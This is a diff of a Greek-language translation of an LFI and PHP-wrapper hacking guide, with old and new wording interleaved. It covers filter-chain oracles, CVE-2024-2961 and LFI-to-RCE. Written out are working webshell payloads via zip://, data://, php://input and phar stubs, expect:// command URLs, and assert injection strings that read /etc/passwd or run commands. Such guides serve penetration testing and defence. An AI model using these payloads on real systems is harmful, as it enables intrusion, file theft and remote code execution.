- `convert.quoted-printable-encode`
|
||||
- `convert.quoted-printable-decode`
|
||||
- `convert.iconv.*` : Μετατρέπει σε διαφορετική κωδικοποίηση(`convert.iconv.<input_enc>.<output_enc>`). Για να αποκτήσετε τη **λίστα όλων των υποστηριζόμενων κωδικοποιήσεων** εκτελέστε στην κονσόλα: `iconv -l`
|
||||
- `convert.iconv.*` : Μετατρέπει σε διαφορετική κωδικοποίηση (`convert.iconv.<input_enc>.<output_enc>`). Για να πάρετε τη **λίστα όλων των κωδικοποιήσεων** που υποστηρίζονται τρέξτε στην κονσόλα: `iconv -l`
|
||||
|
||||
> [!WARNING]
|
||||
> Καταχρώντας το φίλτρο μετατροπής `convert.iconv.*` μπορείτε να **δημιουργήσετε αυθαίρετο κείμενο**, το οποίο θα μπορούσε να είναι χρήσιμο για να γράψετε αυθαίρετο κείμενο ή να κάνετε μια λειτουργία όπως η συμπερίληψη αυθαίρετου κειμένου. Για περισσότερες πληροφορίες δείτε [**LFI2RCE μέσω φίλτρων php**](lfi2rce-via-php-filters.md).
|
||||
> Καταχρηστική χρήση του φίλτρου μετατροπής `convert.iconv.*` μπορεί να σας επιτρέψει να **παράγετε αυθαίρετο κείμενο**, το οποίο μπορεί να είναι χρήσιμο για να γράψετε αυθαίρετο κείμενο ή για να κάνετε μια συνάρτηση όπως include να επεξεργαστεί αυθαίρετο κείμενο. Για περισσότερες πληροφορίες δείτε [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
|
||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
- `zlib.deflate`: Συμπιέζει το περιεχόμενο (χρήσιμο αν εξάγετε πολλές πληροφορίες)
|
||||
- `zlib.deflate`: Συμπιέζει το περιεχόμενο (χρήσιμο αν εξάγετε μεγάλο όγκο πληροφοριών)
|
||||
- `zlib.inflate`: Αποσυμπιέζει τα δεδομένα
|
||||
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||||
- `mcrypt.*` : Απαρχαιωμένο
|
||||
- `mdecrypt.*` : Απαρχαιωμένο
|
||||
- Άλλα Φίλτρα
|
||||
- Εκτελώντας στο php `var_dump(stream_get_filters());` μπορείτε να βρείτε μερικά **αναμενόμενα φίλτρα**:
|
||||
- Other Filters
|
||||
- Τρέχοντας στο php `var_dump(stream_get_filters());` μπορείτε να βρείτε μερικά **μη αναμενόμενα φίλτρα**:
|
||||
- `consumed`
|
||||
- `dechunk`: αναστρέφει την κωδικοποίηση HTTP chunked
|
||||
- `dechunk`: αντιστρέφει το HTTP chunked encoding
|
||||
- `convert.*`
|
||||
```php
|
||||
# String Filters
|
||||
@ -271,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
|
||||
```
|
||||
> [!WARNING]
|
||||
> Το μέρος "php://filter" είναι ευαίσθητο σε πεζά και κεφαλαία
|
||||
> Το μέρος "php://filter" δεν είναι ευαίσθητο σε πεζά/κεφαλαία
|
||||
|
||||
### Χρησιμοποιώντας φίλτρα php ως oracle για να διαβάσετε αυθαίρετα αρχεία
|
||||
### Using php filters as oracle to read arbitrary files
|
||||
|
||||
[**Σε αυτή την ανάρτηση**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) προτείνεται μια τεχνική για να διαβάσετε ένα τοπικό αρχείο χωρίς να έχετε την έξοδο που επιστρέφεται από τον διακομιστή. Αυτή η τεχνική βασίζεται σε μια **boolean εξαγωγή του αρχείου (χαρακτήρας προς χαρακτήρα) χρησιμοποιώντας φίλτρα php** ως oracle. Αυτό συμβαίνει επειδή τα φίλτρα php μπορούν να χρησιμοποιηθούν για να κάνουν ένα κείμενο αρκετά μεγάλο ώστε να προκαλέσει μια εξαίρεση από το php.
|
||||
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) προτείνεται μια τεχνική για να διαβάσετε ένα τοπικό αρχείο χωρίς να επιστραφεί η έξοδος από τον server. Αυτή η τεχνική βασίζεται σε μια **boolean exfiltration of the file (char by char) using php filters** ως oracle. Αυτό συμβαίνει επειδή τα php filters μπορούν να χρησιμοποιηθούν για να κάνουν ένα κείμενο αρκετά μεγάλο ώστε το php να ρίξει exception.
|
||||
|
||||
Στην αρχική ανάρτηση μπορείτε να βρείτε μια λεπτομερή εξήγηση της τεχνικής, αλλά εδώ είναι μια γρήγορη περίληψη:
|
||||
Στο αρχικό post θα βρείτε αναλυτική εξήγηση της τεχνικής, αλλά εδώ είναι μια σύντομη περίληψη:
|
||||
|
||||
- Χρησιμοποιήστε τον κωδικοποιητή **`UCS-4LE`** για να αφήσετε τον αρχικό χαρακτήρα του κειμένου στην αρχή και να κάνετε το μέγεθος της συμβολοσειράς να αυξάνεται εκθετικά.
|
||||
- Αυτό θα χρησιμοποιηθεί για να παραχθεί ένα **κείμενο τόσο μεγάλο όταν η αρχική γράμμα μαντεύεται σωστά** ώστε το php να προκαλέσει ένα **σφάλμα**.
|
||||
- Το φίλτρο **dechunk** θα **αφαιρέσει τα πάντα αν ο πρώτος χαρακτήρας δεν είναι εξαγωνικός**, έτσι μπορούμε να ξέρουμε αν ο πρώτος χαρακτήρας είναι εξαγωνικός.
|
||||
- Αυτό, σε συνδυασμό με το προηγούμενο (και άλλα φίλτρα ανάλογα με το μαντεμένο γράμμα), θα μας επιτρέψει να μαντέψουμε ένα γράμμα στην αρχή του κειμένου βλέποντας πότε κάνουμε αρκετές μετατροπές ώστε να μην είναι εξαγωνικός χαρακτήρας. Επειδή αν είναι εξαγωνικός, το dechunk δεν θα το διαγράψει και η αρχική βόμβα θα προκαλέσει σφάλμα στο php.
|
||||
- Ο κωδικοποιητής **convert.iconv.UNICODE.CP930** μετατρέπει κάθε γράμμα στο επόμενο (έτσι μετά από αυτόν τον κωδικοποιητή: α -> β). Αυτό μας επιτρέπει να ανακαλύψουμε αν το πρώτο γράμμα είναι ένα `α` για παράδειγμα, επειδή αν εφαρμόσουμε 6 από αυτόν τον κωδικοποιητή α->β->γ->δ->ε->ζ->η το γράμμα δεν είναι πια εξαγωνικός χαρακτήρας, επομένως το dechunk δεν το διαγράφει και το σφάλμα php ενεργοποιείται επειδή πολλαπλασιάζεται με την αρχική βόμβα.
|
||||
- Χρησιμοποιώντας άλλες μετατροπές όπως **rot13** στην αρχή είναι δυνατόν να διαρρεύσουν άλλοι χαρακτήρες όπως ν, ο, π, ρ, σ (και άλλοι κωδικοποιητές μπορούν να χρησιμοποιηθούν για να μετακινήσουν άλλα γράμματα στην περιοχή των εξαγωνικών).
|
||||
- Όταν ο αρχικός χαρακτήρας είναι αριθμός, χρειάζεται να τον κωδικοποιήσουμε σε base64 και να διαρρεύσουμε τα 2 πρώτα γράμματα για να διαρρεύσουμε τον αριθμό.
|
||||
- Το τελικό πρόβλημα είναι να δούμε **πώς να διαρρεύσουμε περισσότερα από το αρχικό γράμμα**. Χρησιμοποιώντας φίλτρα μνήμης σειράς όπως **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** είναι δυνατόν να αλλάξουμε τη σειρά των χαρακτήρων και να αποκτήσουμε στην πρώτη θέση άλλα γράμματα του κειμένου.
|
||||
- Και προκειμένου να μπορέσουμε να αποκτήσουμε **περισσότερα δεδομένα** η ιδέα είναι να **παράγουμε 2 bytes σκουπιδιών στην αρχή** με **convert.iconv.UTF16.UTF16**, να εφαρμόσουμε **UCS-4LE** για να το **στραφεί με τα επόμενα 2 bytes**, και να **διαγράψουμε τα δεδομένα μέχρι τα σκουπίδια** (αυτό θα αφαιρέσει τα πρώτα 2 bytes του αρχικού κειμένου). Συνεχίστε να το κάνετε αυτό μέχρι να φτάσετε στο επιθυμητό bit για διαρροή.
|
||||
- Χρησιμοποιήστε τον codec **`UCS-4LE`** για να αφήσετε τον πρώτο χαρακτήρα του κειμένου στην αρχή και να κάνετε το μέγεθος της συμβολοσειράς να αυξάνεται εκθετικά.
|
||||
- Αυτό θα χρησιμοποιηθεί για να παραχθεί ένα **κείμενο τόσο μεγάλο όταν ο αρχικός χαρακτήρας μαντευτεί σωστά** που το php θα προκαλέσει **error**
|
||||
- Το φίλτρο **dechunk** θα **αφαιρέσει τα πάντα αν ο πρώτος χαρακτήρας δεν είναι hexadecimal**, οπότε μπορούμε να γνωρίζουμε αν ο πρώτος χαρακτήρας είναι hex.
|
||||
- Αυτό, σε συνδυασμό με το προηγούμενο (και άλλα filters ανάλογα με τον μαντεμένο χαρακτήρα), θα μας επιτρέψει να μαντέψουμε έναν χαρακτήρα στην αρχή του κειμένου βλέποντας πότε κάνουμε αρκετές μετασχηματίσεις ώστε να μην είναι πλέον δεκαεξαδικός χαρακτήρας. Εάν είναι hex, το dechunk δεν το διαγράφει και η αρχική "βόμβα" θα προκαλέσει php error.
|
||||
- Ο codec **convert.iconv.UNICODE.CP930** μετατρέπει κάθε γράμμα στο επόμενο (οπότε μετά από αυτόν τον codec: a -> b). Αυτό μας επιτρέπει να ανακαλύψουμε αν ο πρώτος χαρακτήρας είναι `a` για παράδειγμα, γιατί αν εφαρμόσουμε 6 φορές αυτόν τον codec a->b->c->d->e->f->g ο χαρακτήρας δεν είναι πλέον δεκαεξαδικός, επομένως το dechunk δεν τον διαγράφει και το php error ενεργοποιείται επειδή πολλαπλασιάζεται με την αρχική βόμβα.
|
||||
- Χρησιμοποιώντας άλλους μετασχηματισμούς όπως **rot13** στην αρχή είναι δυνατόν να leak άλλους χαρακτήρες όπως n, o, p, q, r (και άλλοι codecs μπορούν να χρησιμοποιηθούν για να μετακινήσουν άλλα γράμματα στο hex range).
|
||||
- Όταν ο αρχικός χαρακτήρας είναι αριθμός χρειάζεται να τον base64 encode και να leak τα 2 πρώτα γράμματα για να εξαχθεί ο αριθμός.
|
||||
- Το τελικό πρόβλημα είναι να δούμε **πώς να leak περισσότερα από τον αρχικό χαρακτήρα**. Χρησιμοποιώντας order memory filters όπως **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** είναι δυνατόν να αλλάξει η σειρά των χαρακτήρων και να μπουν στην πρώτη θέση άλλα γράμματα του κειμένου.
|
||||
- Και για να μπορέσουμε να πάρουμε **περαιτέρω δεδομένα** η ιδέα είναι να **παράγουμε 2 bytes junk data στην αρχή** με **convert.iconv.UTF16.UTF16**, να εφαρμόσουμε **UCS-4LE** για να τα κάνουμε **pivot με τα επόμενα 2 bytes**, και d**elete the data until the junk data** (αυτό θα αφαιρέσει τα πρώτα 2 bytes του αρχικού κειμένου). Συνεχίζετε έτσι μέχρι να φτάσετε στο επιθυμητό κομμάτι για leak.
|
||||
|
||||
Στην ανάρτηση διαρρεύθηκε επίσης ένα εργαλείο για να το εκτελεί αυτό αυτόματα: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
Στο άρθρο διατέθηκε επίσης ένα εργαλείο για αυτόματη εκτέλεση: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
### php://fd
|
||||
|
||||
Αυτή η περιτύλιξη επιτρέπει την πρόσβαση σε περιγραφείς αρχείων που έχει ανοιχτούς η διαδικασία. Πιθανώς χρήσιμο για να εξάγουμε το περιεχόμενο των ανοιχτών αρχείων:
|
||||
Αυτό το wrapper επιτρέπει την πρόσβαση σε file descriptors που η διεργασία έχει ανοιχτά. Ενδεχομένως χρήσιμο για exfiltrate το περιεχόμενο ανοιχτών αρχείων:
|
||||
```php
|
||||
echo file_get_contents("php://fd/3");
|
||||
$myfile = fopen("/etc/passwd", "r");
|
||||
```
|
||||
Μπορείτε επίσης να χρησιμοποιήσετε **php://stdin, php://stdout και php://stderr** για να αποκτήσετε πρόσβαση στους **file descriptors 0, 1 και 2** αντίστοιχα (δεν είμαι σίγουρος πώς αυτό θα μπορούσε να είναι χρήσιμο σε μια επίθεση)
|
||||
Μπορείτε επίσης να χρησιμοποιήσετε **php://stdin, php://stdout and php://stderr** για να αποκτήσετε πρόσβαση στα **file descriptors 0, 1 and 2** αντίστοιχα (δεν είναι σαφές πώς αυτό θα μπορούσε να είναι χρήσιμο σε μια επίθεση)
|
||||
|
||||
### zip:// και rar://
|
||||
### zip:// and rar://
|
||||
|
||||
Ανεβάστε ένα αρχείο Zip ή Rar με ένα PHPShell μέσα και αποκτήστε πρόσβαση σε αυτό.\
|
||||
Για να μπορέσετε να εκμεταλλευτείτε το πρωτόκολλο rar, **πρέπει να ενεργοποιηθεί συγκεκριμένα**.
|
||||
Ανεβάστε ένα Zip ή Rar αρχείο με ένα PHPShell μέσα και αποκτήστε πρόσβαση σε αυτό.\
|
||||
Για να μπορείτε να εκμεταλλευτείτε το rar protocol, αυτό **πρέπει να ενεργοποιηθεί συγκεκριμένα**.
|
||||
```bash
|
||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||||
zip payload.zip payload.php;
|
||||
@ -328,11 +328,11 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
|
||||
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
Σημειώστε ότι αυτό το πρωτόκολλο περιορίζεται από τις ρυθμίσεις php **`allow_url_open`** και **`allow_url_include`**
|
||||
Σημειώστε ότι αυτό το πρωτόκολλο περιορίζεται από τις ρυθμίσεις του php **`allow_url_open`** και **`allow_url_include`**
|
||||
|
||||
### expect://
|
||||
|
||||
Το Expect πρέπει να είναι ενεργοποιημένο. Μπορείτε να εκτελέσετε κώδικα χρησιμοποιώντας αυτό:
|
||||
Το Expect πρέπει να είναι ενεργοποιημένο. Μπορείτε να εκτελέσετε κώδικα χρησιμοποιώντας το εξής:
|
||||
```
|
||||
http://example.com/index.php?page=expect://id
|
||||
http://example.com/index.php?page=expect://ls
|
||||
@ -345,7 +345,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
|
||||
```
|
||||
### phar://
|
||||
|
||||
Ένα αρχείο `.phar` μπορεί να χρησιμοποιηθεί για την εκτέλεση κώδικα PHP όταν μια διαδικτυακή εφαρμογή εκμεταλλεύεται συναρτήσεις όπως `include` για τη φόρτωση αρχείων. Το παρακάτω απόσπασμα κώδικα PHP δείχνει τη δημιουργία ενός αρχείου `.phar`:
|
||||
Ένα αρχείο `.phar` μπορεί να χρησιμοποιηθεί για την εκτέλεση κώδικα PHP όταν μια web εφαρμογή αξιοποιεί συναρτήσεις όπως `include` για τη φόρτωση αρχείων. Το παράδειγμα κώδικα PHP που ακολουθεί δείχνει τη δημιουργία ενός αρχείου `.phar`:
|
||||
```php
|
||||
<?php
|
||||
$phar = new Phar('test.phar');
|
||||
@ -354,15 +354,13 @@ $phar->addFromString('test.txt', 'text');
|
||||
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
|
||||
$phar->stopBuffering();
|
||||
```
|
||||
Για να συμπεριληφθεί το αρχείο `.phar`, θα πρέπει να εκτελεστεί η παρακάτω εντολή:
|
||||
Για να μεταγλωττιστεί το αρχείο `.phar`, πρέπει να εκτελεστεί η ακόλουθη εντολή:
|
||||
```bash
|
||||
php --define phar.readonly=0 create_path.php
|
||||
```
|
||||
Κατά την εκτέλεση, θα δημιουργηθεί ένα αρχείο με το όνομα `test.phar`, το οποίο θα μπορούσε ενδεχομένως να χρησιμοποιηθεί για την εκμετάλλευση ευπαθειών Local File Inclusion (LFI).
|
||||
Κατά την εκτέλεση, θα δημιουργηθεί ένα αρχείο με όνομα `test.phar`, το οποίο ενδέχεται να αξιοποιηθεί για να εκμεταλλευτεί ευπάθειες Local File Inclusion (LFI).
|
||||
|
||||
Σε περιπτώσεις όπου το LFI εκτελεί μόνο ανάγνωση αρχείων χωρίς να εκτελεί τον PHP κώδικα μέσα σε αυτά, μέσω συναρτήσεων όπως `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ή `filesize()`, θα μπορούσε να επιχειρηθεί η εκμετάλλευση μιας ευπάθειας αποσυμπίεσης. Αυτή η ευπάθεια σχετίζεται με την ανάγνωση αρχείων χρησιμοποιώντας το πρωτόκολλο `phar`.
|
||||
|
||||
Για μια λεπτομερή κατανόηση της εκμετάλλευσης ευπαθειών αποσυμπίεσης στο πλαίσιο των αρχείων `.phar`, ανατρέξτε στο έγγραφο που συνδέεται παρακάτω:
|
||||
Σε περιπτώσεις όπου το LFI απλώς διαβάζει αρχεία χωρίς να εκτελεί τον PHP κώδικα εντός, μέσω συναρτήσεων όπως `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ή `filesize()`, μπορεί να επιχειρηθεί εκμετάλλευση ευπάθειας απο-σειριοποίησης. Αυτή η ευπάθεια συνδέεται με το διάβασμα αρχείων χρησιμοποιώντας το πρωτόκολλο `phar`.
|
||||
|
||||
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
|
||||
|
||||
@ -373,76 +371,76 @@ phar-deserialization.md
|
||||
|
||||
### CVE-2024-2961
|
||||
|
||||
Ήταν δυνατό να καταχραστεί **οποιοδήποτε αυθαίρετο αρχείο που διαβάζεται από PHP που υποστηρίζει φίλτρα php** για να αποκτηθεί RCE. Η λεπτομερής περιγραφή μπορεί να [**βρεθεί σε αυτή την ανάρτηση**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Πολύ γρήγορη περίληψη: μια **υπερχείλιση 3 byte** στη μνήμη PHP καταχράστηκε για να **αλλάξει την αλυσίδα ελεύθερων κομματιών** συγκεκριμένου μεγέθους προκειμένου να είναι δυνατή η **γραφή οτιδήποτε σε οποιαδήποτε διεύθυνση**, έτσι προστέθηκε ένα hook για να καλέσει **`system`**.\
|
||||
Ήταν δυνατό να κατανεμηθούν κομμάτια συγκεκριμένων μεγεθών καταχρώντας περισσότερα φίλτρα php.
|
||||
Ήταν δυνατό να καταχραστεί **οποιοδήποτε αυθαίρετο αρχείο που διαβάζεται από PHP και υποστηρίζει php filters** για να αποκτηθεί RCE. Η λεπτομερής περιγραφή μπορεί να [**βρεθεί σε αυτό το post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Πολύ σύντομη περίληψη: μια **3 byte overflow** στο PHP heap εκμεταλλεύτηκε για να **αλλάξει την αλυσίδα των free chunks** συγκεκριμένου μεγέθους ώστε να είναι δυνατή η **γραφή οτιδήποτε σε οποιαδήποτε διεύθυνση**, οπότε προστέθηκε ένα hook για την κλήση της **`system`**.\
|
||||
Ήταν δυνατό να διατεθούν chunks συγκεκριμένων μεγεθών εκμεταλλευόμενοι περισσότερα php filters.
|
||||
|
||||
### Περισσότερα πρωτόκολλα
|
||||
### More protocols
|
||||
|
||||
Ελέγξτε περισσότερα πιθανά [**πρωτόκολλα για να συμπεριληφθούν εδώ**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
Ελέγξτε περισσότερα πιθανά[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Γράψτε στη μνήμη ή σε ένα προσωρινό αρχείο (δεν είμαι σίγουρος πώς αυτό μπορεί να είναι χρήσιμο σε μια επίθεση συμπερίληψης αρχείων)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Πρόσβαση στο τοπικό σύστημα αρχείων
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Γράφει στη μνήμη ή σε ένα προσωρινό αρχείο (δεν είμαι σίγουρος πώς αυτό μπορεί να είναι χρήσιμο σε μια file inclusion attack)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Πρόσβαση στο local filesystem
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Πρόσβαση σε HTTP(s) URLs
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Πρόσβαση σε FTP(s) URLs
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Ρεύματα Συμπίεσης
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Βρείτε ονόματα διαδρομών που ταιριάζουν με το μοτίβο (Δεν επιστρέφει τίποτα εκτυπώσιμο, οπότε δεν είναι πραγματικά χρήσιμο εδώ)
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Εύρεση ονομάτων διαδρομών που ταιριάζουν με μοτίβο (Δεν επιστρέφει κάτι εκτυπώσιμο, οπότε δεν είναι ιδιαίτερα χρήσιμο εδώ)
|
||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Ρεύματα ήχου (Όχι χρήσιμο για την ανάγνωση αυθαίρετων αρχείων)
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Δεν είναι χρήσιμο για το διάβασμα αυθαίρετων αρχείων)
|
||||
|
||||
## LFI μέσω της 'assert' της PHP
|
||||
## LFI via PHP's 'assert'
|
||||
|
||||
Οι κίνδυνοι Local File Inclusion (LFI) στην PHP είναι ιδιαίτερα υψηλοί όταν ασχολούνται με τη συνάρτηση 'assert', η οποία μπορεί να εκτελεί κώδικα μέσα σε συμβολοσειρές. Αυτό είναι ιδιαίτερα προβληματικό αν η είσοδος που περιέχει χαρακτήρες διαδρομής καταλόγου όπως ".." ελέγχεται αλλά δεν καθαρίζεται σωστά.
|
||||
Οι κίνδυνοι Local File Inclusion (LFI) στο PHP είναι ιδιαίτερα υψηλοί όταν χρησιμοποιείται η συνάρτηση 'assert', η οποία μπορεί να εκτελέσει κώδικα μέσα σε strings. Αυτό είναι ιδιαίτερα προβληματικό εάν γίνεται έλεγχος εισόδου που περιέχει χαρακτήρες directory traversal όπως ".." αλλά δεν γίνεται σωστή απολύμανση.
|
||||
|
||||
Για παράδειγμα, ο κώδικας PHP μπορεί να έχει σχεδιαστεί για να αποτρέπει τη διαδρομή καταλόγου ως εξής:
|
||||
Για παράδειγμα, ο PHP κώδικας μπορεί να έχει σχεδιαστεί για να αποτρέπει το directory traversal ως εξής:
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
Ενώ αυτό στοχεύει να σταματήσει την περιήγηση, δημιουργεί ακούσια ένα διανυσματικό σημείο για την εισαγωγή κώδικα. Για να εκμεταλλευτεί αυτό για την ανάγνωση περιεχομένων αρχείων, ένας επιτιθέμενος θα μπορούσε να χρησιμοποιήσει:
|
||||
Ενώ αυτό στοχεύει στο να αποτρέψει το traversal, δημιουργεί κατά λάθος ένα διάνυσμα για code injection. Για να το εκμεταλλευτεί για να διαβάσει το περιεχόμενο αρχείων, ένας attacker θα μπορούσε να χρησιμοποιήσει:
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
Ομοίως, για την εκτέλεση αυθαίρετων εντολών συστήματος, μπορεί κανείς να χρησιμοποιήσει:
|
||||
Ομοίως, για την εκτέλεση αυθαίρετων system commands, κάποιος μπορεί να χρησιμοποιήσει:
|
||||
```plaintext
|
||||
' and die(system("id")) or '
|
||||
```
|
||||
Είναι σημαντικό να **URL-κωδικοποιήσετε αυτά τα payloads**.
|
||||
It's important to **URL-encode these payloads**.
|
||||
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
> [!WARNING]
|
||||
> Αυτή η τεχνική είναι σχετική σε περιπτώσεις όπου **ελέγχετε** τη **διαδρομή αρχείου** μιας **συνάρτησης PHP** που θα **πρόσβαση σε ένα αρχείο** αλλά δεν θα δείτε το περιεχόμενο του αρχείου (όπως μια απλή κλήση στη **`file()`**) αλλά το περιεχόμενο δεν εμφανίζεται.
|
||||
> Αυτή η τεχνική είναι σχετική σε περιπτώσεις όπου **control** το **file path** μιας **PHP function** που θα **access a file** αλλά δεν θα δείτε το περιεχόμενο του αρχείου (όπως μια απλή κλήση σε **`file()`**) αφού το περιεχόμενο δεν εμφανίζεται.
|
||||
|
||||
Στο [**αυτό το απίστευτο άρθρο**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) εξηγείται πώς μπορεί να καταχραστεί μια τυφλή διαδρομή μέσω φίλτρου PHP για να **εξαχθεί το περιεχόμενο ενός αρχείου μέσω ενός σφάλματος oracle**.
|
||||
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) εξηγείται πώς ένα blind path traversal μπορεί να καταχραστεί μέσω PHP filter για να **exfiltrate the content of a file via an error oracle**.
|
||||
|
||||
Συνοπτικά, η τεχνική χρησιμοποιεί την **κωδικοποίηση "UCS-4LE"** για να κάνει το περιεχόμενο ενός αρχείου τόσο **μεγάλο** ώστε η **συνάρτηση PHP που ανοίγει** το αρχείο να προκαλέσει ένα **σφάλμα**.
|
||||
Συνοπτικά, η τεχνική χρησιμοποιεί την κωδικοποίηση **"UCS-4LE"** ώστε το περιεχόμενο ενός αρχείου να γίνει τόσο **big** που η **PHP function opening** το αρχείο θα προκαλέσει ένα **error**.
|
||||
|
||||
Στη συνέχεια, προκειμένου να διαρρεύσει ο πρώτος χαρακτήρας, το φίλτρο **`dechunk`** χρησιμοποιείται μαζί με άλλα όπως **base64** ή **rot13** και τελικά τα φίλτρα **convert.iconv.UCS-4.UCS-4LE** και **convert.iconv.UTF16.UTF-16BE** χρησιμοποιούνται για να **τοποθετήσουν άλλους χαρακτήρες στην αρχή και να τους διαρρεύσουν**.
|
||||
Έπειτα, για να leak ο πρώτος χαρακτήρας χρησιμοποιείται το φίλτρο **`dechunk`** μαζί με άλλα όπως **base64** ή **rot13** και τελικά τα φίλτρα **convert.iconv.UCS-4.UCS-4LE** και **convert.iconv.UTF16.UTF-16BE** χρησιμοποιούνται για να **place other chars at the beggining and leak them**.
|
||||
|
||||
**Συναρτήσεις που μπορεί να είναι ευάλωτες**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (μόνο για ανάγνωση με αυτό)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
Συναρτήσεις που μπορεί να είναι ευάλωτες: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
Για τις τεχνικές λεπτομέρειες ελέγξτε το αναφερόμενο άρθρο!
|
||||
Για τις τεχνικές λεπτομέρειες δείτε το προαναφερθέν post!
|
||||
|
||||
## LFI2RCE
|
||||
|
||||
### Αυθαίρετη Εγγραφή Αρχείου μέσω Διαδρομής Traversal (Webshell RCE)
|
||||
### Arbitrary File Write via Path Traversal (Webshell RCE)
|
||||
|
||||
Όταν ο κωδικός που εκτελείται στον διακομιστή που εισάγει/ανεβάζει αρχεία κατασκευάζει τη διαδρομή προορισμού χρησιμοποιώντας δεδομένα που ελέγχονται από τον χρήστη (π.χ., ένα όνομα αρχείου ή URL) χωρίς να το κανονικοποιεί και να το επικυρώνει, τα τμήματα `..` και οι απόλυτες διαδρομές μπορούν να ξεφύγουν από τον προορισμένο κατάλογο και να προκαλέσουν αυθαίρετη εγγραφή αρχείου. Εάν μπορείτε να τοποθετήσετε το payload κάτω από έναν δημόσια εκτεθειμένο κατάλογο, συνήθως αποκτάτε μη εξουσιοδοτημένη RCE ρίχνοντας μια webshell.
|
||||
When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
|
||||
|
||||
Τυπική ροή εκμετάλλευσης:
|
||||
- Εντοπίστε μια πρωτοβουλία εγγραφής σε ένα endpoint ή background worker που δέχεται μια διαδρομή/όνομα αρχείου και γράφει περιεχόμενο στο δίσκο (π.χ., εισαγωγή με βάση μηνύματα, χειριστές εντολών XML/JSON, αποσυμπιεστές ZIP, κ.λπ.).
|
||||
- Προσδιορίστε δημόσια εκτεθειμένους καταλόγους. Κοινά παραδείγματα:
|
||||
Typical exploitation workflow:
|
||||
- Εντοπίστε ένα write primitive σε ένα endpoint ή background worker που δέχεται ένα path/filename και γράφει περιεχόμενο στο δίσκο (π.χ. message-driven ingestion, XML/JSON command handlers, ZIP extractors, κ.λπ.).
|
||||
- Determine web-exposed directories. Common examples:
|
||||
- Apache/PHP: `/var/www/html/`
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → ρίξτε `shell.jsp`
|
||||
- IIS: `C:\inetpub\wwwroot\` → ρίξτε `shell.aspx`
|
||||
- Δημιουργήστε μια διαδρομή traversal που σπάει από τον προορισμένο κατάλογο αποθήκευσης στο webroot και συμπεριλάβετε το περιεχόμενο της webshell σας.
|
||||
- Περιηγηθείτε στο ρίχτη payload και εκτελέστε εντολές.
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
|
||||
